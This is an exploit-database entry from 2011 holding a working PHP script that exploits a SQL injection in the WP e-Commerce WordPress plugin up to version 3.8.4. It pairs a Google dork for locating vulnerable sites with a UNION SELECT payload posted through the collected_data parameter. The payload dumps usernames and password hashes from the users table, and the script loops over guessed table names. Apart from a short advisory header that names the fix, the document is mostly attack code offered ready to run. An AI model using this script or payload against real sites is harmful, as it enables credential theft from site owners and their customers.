WordPress Plugin E-Commerce 3.8.4 - SQL Injection

# Exploit Title: WP E-commerce plugin <= 3.8.4 Sql Injection
# Google Dork: inurl:page_id= “Your billing/contact details”
# Date: 18/07/2011
# Author: IHTeam
# Software Link: http://www.getshopped.org/
# Version: 3.8.4
# Tested on: 3.8.4
# Original Advisory: http://www.ihteam.net/advisory/wordpress-wp-e-commerce-plugin/

<?php
/*
	WP e-Commerce <= 3.8.4 SQL Injection
	Download link: http://wordpress.org/extend/plugins/wp-e-commerce/
	Author contact: 29/06/2011
	Exploit published: 18/07/2011

	Bugged code (wpsc-theme/functions/wpsc-user_log_functions.php):
		foreach ( (array)$_POST['collected_data'] as $value_id => $value ) {
				$form_sql = "SELECT * FROM `" . WPSC_TABLE_CHECKOUT_FORMS . "` WHERE `id` = '$value_id' LIMIT 1";
				$form_data = $wpdb->get_row( $form_sql, ARRAY_A );
				
        FIX: Upgrade to version 3.8.5

 	Bug found by: IHTeam

	For GetShopped as their security auditors

 	This code has been released under the authorization of GetShopped staff.
 	It will show user_login and user_pass of wp_users table;
	
	Google Dork: inurl:page_id= "Your billing/contact details"
	Follow us on Twitter! @IHTeam
*/
function help() {
	echo "\n";
	echo " -------------------WP e-Commerce <= 3.8.4 SQL Injection---------------\n\n";
	echo "	How to use: php wp-ecommerce.php host path page_id [table_name]\n\n";
	echo "	host 		= Domain name\n";
	echo "	path 		= Path of WordPress\n";
	echo "	page_id		= Int value of the login page of WP e-commerce\n";
	echo "	table_name	= Default is wp_users\n\n";
	echo "	Example: php wp-commerce.php www.domain.com /wordpress/ 11 wp_users\n\n";
	echo " ----------------------------------------------------------------------\n\n";
}

function exploit($host,$path,$pageid,$table) {
        $url = $host.$path."?page_id=".$pageid."&edit_profile=true";
        $buggy_code=urlencode("-2' UNION ALL SELECT 2, concat(user_login,':',user_pass), 'email', 1, 1, null, 1, 2, 'billingfirstname', null, 0 from ".$table." WHERE 
'1'='1");
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_POST, 3);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
	curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_POSTFIELDS,"collected_data[".$buggy_code."]=&submit=Save+Profile&submitwpcheckout_profile=true");
        $result= curl_exec ($ch);
        curl_close ($ch);
	
	echo "Now using table name: $table... ";
        
	preg_match("/<span class=\"wpsc_error_msg_field_name\">(.*?)<\/span>.<br \/>/", $result, $matches);
        if ( !isset($matches[1]) )
                $msg="Wrong table name or not vulnerable\n";
        else 
                $msg="Credential found: ".$matches[1]."\n";	

        return $msg;

}

if ( isset($argv[1]) && isset($argv[2]) && isset($argv[3]) ) {
	if (isset($argv[4]))
		$table = $argv[4];
	else
		$table = "wp_users";

	$host = $argv[1];
	$spos=strpos($host, "http://");
    	if(!is_int($spos)&&($spos==0))
		$host="http://$host";

	$path = $argv[2];
	$pageid=(int)$argv[3];

	/* Detecting the version, if possible */
	$version = file_get_contents($host.$path.'wp-content/plugins/wp-e-commerce/readme.txt');
	preg_match("/Stable tag: (.*)/", $version, $vmatch);
	
	if ( !isset($vmatch[1]) )	
		$version="Not detectable\n";
	else
		$version=$vmatch[1];
	
	echo "Version: ".$version."\n";
	/* End of version detecting */
	
	
	/* Executing exploit */
	preg_match('/[^.]+\.[^.]+$/', $host, $hmatch);
	$host_name=str_replace('http://','',$hmatch[0]);

	$tarray = array($table, 'wordpress_users', '_users', 'users', 'wpusers','wordpressusers', $host_name.'_users', str_replace('.','',$host_name).'_users', str_replace('.','',$host_name).'users' );

	foreach($tarray as $index => $val) { 
		echo exploit($host,$path,$pageid,$val);
	}
	/*  End of exploit */
} else
	help();